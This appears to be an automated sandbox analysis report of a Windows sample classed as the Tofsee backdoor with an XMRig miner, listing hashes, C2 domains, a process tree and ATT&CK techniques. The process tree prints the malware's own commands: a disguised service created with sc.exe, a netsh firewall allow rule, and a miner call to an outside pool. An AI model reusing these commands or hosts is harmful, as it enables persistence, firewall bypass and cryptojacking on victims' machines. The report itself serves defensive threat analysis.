Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 08:09

General

  • Target

    12ec1fe952f14a4d6a903ae4a84a5c14.exe

  • Size

    279KB

  • MD5

    12ec1fe952f14a4d6a903ae4a84a5c14

  • SHA1

    99569066968f6b7eac617720a7a6722214fb6f94

  • SHA256

    1b27224ec9506f0880abbf3876463efcf18c0060bfd2cdd697c538c07882acb5

  • SHA512

    024ddf7a1a2b691684feb1f3e1d14ff684a8dd135a8a36e5ede4f31283342d5926c89f05d73c94329b40bf95ffef56f8d9bc9140b30233921a952b1630de448e

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\12ec1fe952f14a4d6a903ae4a84a5c14.exe
    "C:\Users\Admin\AppData\Local\Temp\12ec1fe952f14a4d6a903ae4a84a5c14.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:2116
  • C:\Users\Admin\AppData\Local\Temp\132A.exe
    C:\Users\Admin\AppData\Local\Temp\132A.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ctpiqvxz\
      2⤵
        PID:4184
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gxnswgvu.exe" C:\Windows\SysWOW64\ctpiqvxz\
        2⤵
          PID:2780
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ctpiqvxz binPath= "C:\Windows\SysWOW64\ctpiqvxz\gxnswgvu.exe /d\"C:\Users\Admin\AppData\Local\Temp\132A.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2576
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ctpiqvxz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1880
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ctpiqvxz
          2⤵
          • Launches sc.exe
          PID:4056
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4140
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1676 -s 1256
          2⤵
          • Program crash
          PID:5040
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:4540
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 868
            2⤵
            • Program crash
            PID:5056
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:1616
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4540 -ip 4540
            1⤵
              PID:4476
            • C:\Users\Admin\AppData\Roaming\dsbrige
              C:\Users\Admin\AppData\Roaming\dsbrige
              1⤵
              • Executes dropped EXE
              • Checks SCSI registry key(s)
              • Suspicious behavior: MapViewOfSection
              PID:1944
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1676 -ip 1676
              1⤵
                PID:1436
              • C:\Windows\SysWOW64\ctpiqvxz\gxnswgvu.exe
                C:\Windows\SysWOW64\ctpiqvxz\gxnswgvu.exe /d"C:\Users\Admin\AppData\Local\Temp\132A.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3164
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Sets service image path in registry
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1980
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3852
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 512
                  2⤵
                  • Program crash
                  PID:376
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 3164 -ip 3164
                1⤵
                  PID:4300

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Persistence

                New Service

                1
                T1050

                Modify Existing Service

                1
                T1031

                Registry Run Keys / Startup Folder

                1
                T1060

                Privilege Escalation

                New Service

                1
                T1050

                Defense Evasion

                Modify Registry

                1
                T1112

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                3
                T1082

                Peripheral Device Discovery

                1
                T1120

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\132A.exe
                  Filesize

                  310KB

                  MD5

                  f4358961b07728cc44078646e18d5b6e

                  SHA1

                  b4e7752ceab9deb4b8a6d7fd36e01c094415e7be

                  SHA256

                  d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54

                  SHA512

                  6585aa068226d064e80e63101f07d9a1739b6acf214a1a00f6be4b4f4e29a865cba6f66fcec87a58dadfed5adcbf9fea4a3739279f99eb9e933f3e47446fbbc6

                • C:\Users\Admin\AppData\Local\Temp\132A.exe
                  Filesize

                  310KB

                  MD5

                  f4358961b07728cc44078646e18d5b6e

                  SHA1

                  b4e7752ceab9deb4b8a6d7fd36e01c094415e7be

                  SHA256

                  d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54

                  SHA512

                  6585aa068226d064e80e63101f07d9a1739b6acf214a1a00f6be4b4f4e29a865cba6f66fcec87a58dadfed5adcbf9fea4a3739279f99eb9e933f3e47446fbbc6

                • C:\Users\Admin\AppData\Local\Temp\gxnswgvu.exe
                  Filesize

                  12.5MB

                  MD5

                  fe66d28fdc337c44901f712de755085c

                  SHA1

                  ab4c672650b0963d4a07256187fbdb79fedd05d8

                  SHA256

                  cd0017a9074c2adfa03eb0c349901f53436c90cfdfbaa3f9688c0fc32cfb7847

                  SHA512

                  e2df515b87dcf949b246d457f835146f06dc3ce301e7075fff7f04de07c2d1c83b5c10957ae1913aa8a9f6fcd60b1dd53fe8b406d3ffc85b07fef4468f268fe5

                • C:\Users\Admin\AppData\Roaming\dsbrige
                  Filesize

                  279KB

                  MD5

                  12ec1fe952f14a4d6a903ae4a84a5c14

                  SHA1

                  99569066968f6b7eac617720a7a6722214fb6f94

                  SHA256

                  1b27224ec9506f0880abbf3876463efcf18c0060bfd2cdd697c538c07882acb5

                  SHA512

                  024ddf7a1a2b691684feb1f3e1d14ff684a8dd135a8a36e5ede4f31283342d5926c89f05d73c94329b40bf95ffef56f8d9bc9140b30233921a952b1630de448e

                • C:\Users\Admin\AppData\Roaming\dsbrige
                  Filesize

                  279KB

                  MD5

                  12ec1fe952f14a4d6a903ae4a84a5c14

                  SHA1

                  99569066968f6b7eac617720a7a6722214fb6f94

                  SHA256

                  1b27224ec9506f0880abbf3876463efcf18c0060bfd2cdd697c538c07882acb5

                  SHA512

                  024ddf7a1a2b691684feb1f3e1d14ff684a8dd135a8a36e5ede4f31283342d5926c89f05d73c94329b40bf95ffef56f8d9bc9140b30233921a952b1630de448e

                • C:\Windows\SysWOW64\ctpiqvxz\gxnswgvu.exe
                  Filesize

                  12.5MB

                  MD5

                  fe66d28fdc337c44901f712de755085c

                  SHA1

                  ab4c672650b0963d4a07256187fbdb79fedd05d8

                  SHA256

                  cd0017a9074c2adfa03eb0c349901f53436c90cfdfbaa3f9688c0fc32cfb7847

                  SHA512

                  e2df515b87dcf949b246d457f835146f06dc3ce301e7075fff7f04de07c2d1c83b5c10957ae1913aa8a9f6fcd60b1dd53fe8b406d3ffc85b07fef4468f268fe5

                • memory/1616-142-0x0000000000000000-mapping.dmp
                • memory/1616-145-0x0000000000B50000-0x0000000000B5C000-memory.dmp
                  Filesize

                  48KB

                • memory/1676-134-0x0000000000000000-mapping.dmp
                • memory/1676-139-0x0000000000580000-0x0000000000593000-memory.dmp
                  Filesize

                  76KB

                • memory/1676-140-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/1676-138-0x00000000006B3000-0x00000000006C4000-memory.dmp
                  Filesize

                  68KB

                • memory/1676-156-0x00000000006B3000-0x00000000006C4000-memory.dmp
                  Filesize

                  68KB

                • memory/1676-157-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/1880-149-0x0000000000000000-mapping.dmp
                • memory/1944-154-0x0000000000400000-0x00000000004EB000-memory.dmp
                  Filesize

                  940KB

                • memory/1944-153-0x0000000000733000-0x0000000000744000-memory.dmp
                  Filesize

                  68KB

                • memory/1944-166-0x0000000000400000-0x00000000004EB000-memory.dmp
                  Filesize

                  940KB

                • memory/1980-165-0x0000000000EC0000-0x0000000000ED5000-memory.dmp
                  Filesize

                  84KB

                • memory/1980-171-0x00000000021F0000-0x00000000021F6000-memory.dmp
                  Filesize

                  24KB

                • memory/1980-183-0x0000000002FF0000-0x0000000002FF7000-memory.dmp
                  Filesize

                  28KB

                • memory/1980-180-0x0000000007A40000-0x0000000007E4B000-memory.dmp
                  Filesize

                  4.0MB

                • memory/1980-177-0x0000000002FE0000-0x0000000002FE5000-memory.dmp
                  Filesize

                  20KB

                • memory/1980-167-0x0000000000EC0000-0x0000000000ED5000-memory.dmp
                  Filesize

                  84KB

                • memory/1980-174-0x0000000002D50000-0x0000000002D60000-memory.dmp
                  Filesize

                  64KB

                • memory/1980-160-0x0000000000EC0000-0x0000000000ED5000-memory.dmp
                  Filesize

                  84KB

                • memory/1980-168-0x0000000002A00000-0x0000000002C0F000-memory.dmp
                  Filesize

                  2.1MB

                • memory/1980-159-0x0000000000000000-mapping.dmp
                • memory/2116-132-0x0000000000400000-0x00000000004EB000-memory.dmp
                  Filesize

                  940KB

                • memory/2116-133-0x0000000000400000-0x00000000004EB000-memory.dmp
                  Filesize

                  940KB

                • memory/2116-130-0x0000000000692000-0x00000000006A2000-memory.dmp
                  Filesize

                  64KB

                • memory/2116-131-0x00000000001F0000-0x00000000001F9000-memory.dmp
                  Filesize

                  36KB

                • memory/2576-148-0x0000000000000000-mapping.dmp
                • memory/2780-143-0x0000000000000000-mapping.dmp
                • memory/3164-163-0x000000000078E000-0x000000000079E000-memory.dmp
                  Filesize

                  64KB

                • memory/3164-164-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/3852-186-0x0000000000000000-mapping.dmp
                • memory/3852-187-0x0000000000800000-0x00000000008F1000-memory.dmp
                  Filesize

                  964KB

                • memory/3852-192-0x0000000000800000-0x00000000008F1000-memory.dmp
                  Filesize

                  964KB

                • memory/4056-150-0x0000000000000000-mapping.dmp
                • memory/4140-155-0x0000000000000000-mapping.dmp
                • memory/4184-141-0x0000000000000000-mapping.dmp
                • memory/4540-137-0x0000000000000000-mapping.dmp
                • memory/4540-146-0x0000000000F00000-0x0000000000F6B000-memory.dmp
                  Filesize

                  428KB

                • memory/4540-144-0x0000000000F70000-0x0000000000FE4000-memory.dmp
                  Filesize

                  464KB